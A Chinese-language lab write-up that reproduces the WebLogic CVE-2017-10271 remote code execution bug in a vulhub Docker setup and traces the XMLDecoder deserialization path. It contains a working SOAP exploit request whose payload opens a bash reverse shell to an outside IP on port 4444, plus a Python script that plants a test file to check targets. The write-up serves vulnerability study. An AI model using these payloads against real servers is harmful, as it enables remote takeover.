Weblogic Rce CVE-2017-10271复现 一、环境搭建 使用vulhub来搭建,进入/weblogic/CVE-2017-10271文件夹,修改其中的docker-compose.yml文件,将8453端口打开
使用docker-compose命令docker-compose up -d
编译镜像并启动容器
使用docker exec -it b3 /bin/bash
命令进入容器内,自带的vi用得很不习惯,所以进去使用apt-get install nano
命令安装一下nano
然后使用nano修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
在如下位置添加两行代码
1 2 ebugFlag="true" export debugFlag
然后docker stop停止容器,之后再docker start启动,然后再进入容器,将/root/Oracle/Middleware
文件夹下的modules
文件夹和wlserver_10.3
文件夹使用zip命令压缩成zip压缩包。没有zip命令的话可以使用apt-get install zip
来安装zip压缩功能
1 2 zip -r modules.zip modules zip -r wlserver_10.3.zip wlserver_10.3
然后使用docker的cp命令,分别将modules.zip和wlserver_10.3.zip复制到本机的当前路径的CVE-2017-10271文件夹中(自己创建)并解压
1 2 docker cp b3:/root/Oracle/Middleware/modules.zip .\CVE-2017-10271\ docker cp b3:/root/Oracle/Middleware/wlserver_10.3.zip .\CVE-2017-10271\
用IEDA打开这个CVE-2017-10271文件夹,选中w1server_10.3/server/lib文件和modules文件并点击右键,点击Add as Library
添加依赖文件
然后再单击右上角的Add Configurations
按钮,然后点击+
号,选择Remote选项,随后如图填写
在wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class
的hadle方法处设置断点,随后运行Debug模式。
然后使用浏览器访问http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
出现如图所示则表示远程调试配置成功,此时就可以像调试本地程序一样调试Docker中的Weblogic应用了
二、漏洞复现 浏览器访问http://192.168.1.3:7001/wls-wsat/CoordinatorPortType
,显示如下页面即可能存在漏洞
反弹shell的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.1.3:7001 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: text/xml;charset=UTF-8 Content-Length: 641 <soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" > <soapenv:Header > <work:WorkContext xmlns:work ="http://bea.com/2004/06/soap/workarea/" > <java version ="1.4.0" class ="java.beans.XMLDecoder" > <void class ="java.lang.ProcessBuilder" > <array class ="java.lang.String" length ="3" > <void index ="0" > <string > /bin/bash</string > </void > <void index ="1" > <string > -c</string > </void > <void index ="2" > <string > bash -i > & /dev/tcp/192.168.172.148/4444 0> & 1</string > </void > </array > <void method ="start" /> </void > </java > </work:WorkContext > </soapenv:Header > <soapenv:Body /> </soapenv:Envelope >
漏洞验证脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import requestsfrom sys import argv headers = { 'User-Agent' :'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' , 'Upgrade-Insecure-Requests' : '1' , 'Content-Type' : 'text/xml' } def Webogic_XMLDecoder_poc (url ): posturl=url+'/wls-wsat/CoordinatorPortType' data = ''' <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println"> <string>xmldecoder_vul_test</string></void><void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ''' print url try : r=requests.post(posturl,data=data,headers=headers,timeout=5 ) geturl=url+"/wls-wsat/test.txt" check_result = requests.get(geturl,headers=headers,timeout=5 ) if 'xmldecoder_vul_test' in check_result.text: print u"存在WebLogic WLS远程执行漏洞(CVE-2017-10271)" except : pass if __name__ == '__main__' : if len (argv) == 1 : print "Please input python Webogic_XMLDecoder_poc.py http://xxxx:7001" exit(0 ) else : url = argv[1 ] Webogic_XMLDecoder_poc(url)
三、漏洞分析 CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下: http://192.168.1.3:7001/wls-wsat/CoordinatorPortType
post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
在weblogic/wsee/jaxws/workcontext/WorkContextServerTube
类中的processRequest
方法中,处理POST数据包中的XML数据
其中var1是传入的XML数据,到readHederOld
方法中,处理POST数据包中处理XML数据。
我们跟进readHederOld
方法
前面获取到了POST数据包中的XML数据,这里使用ByteArrayOutputStream
将XML数据转换成字节流赋值给var4。然后调用WorkContextXmlInputAdapter
类传入了var4。跟进到WorkContextXmlInputAdapter
中
其实这里就是把var4传入到了XMLDecoder
中。回到readHeaderOld
方法,前面都是对XML数据的一个封装,得到了XMLDecoder对象
,之后调用了113行的receive
方法
跟进到receive
方法
跟进到WorkContextMapInterceptor类的receiveRequest
继续跟进到了WorkContextLocalMap类中的receiveRequest方法
165行调用了WorkContextEntryImpl
的readEntry
方法,跟进到WorkContextEntryImpl#readEntry
最后跟进到WorkContextXmlInputAdapter#readUTF
在这里进行了xmlDecoder.readObject,触发了xmlDecoder的反序列化,执行了XML数据中的ProcessBuilder.start()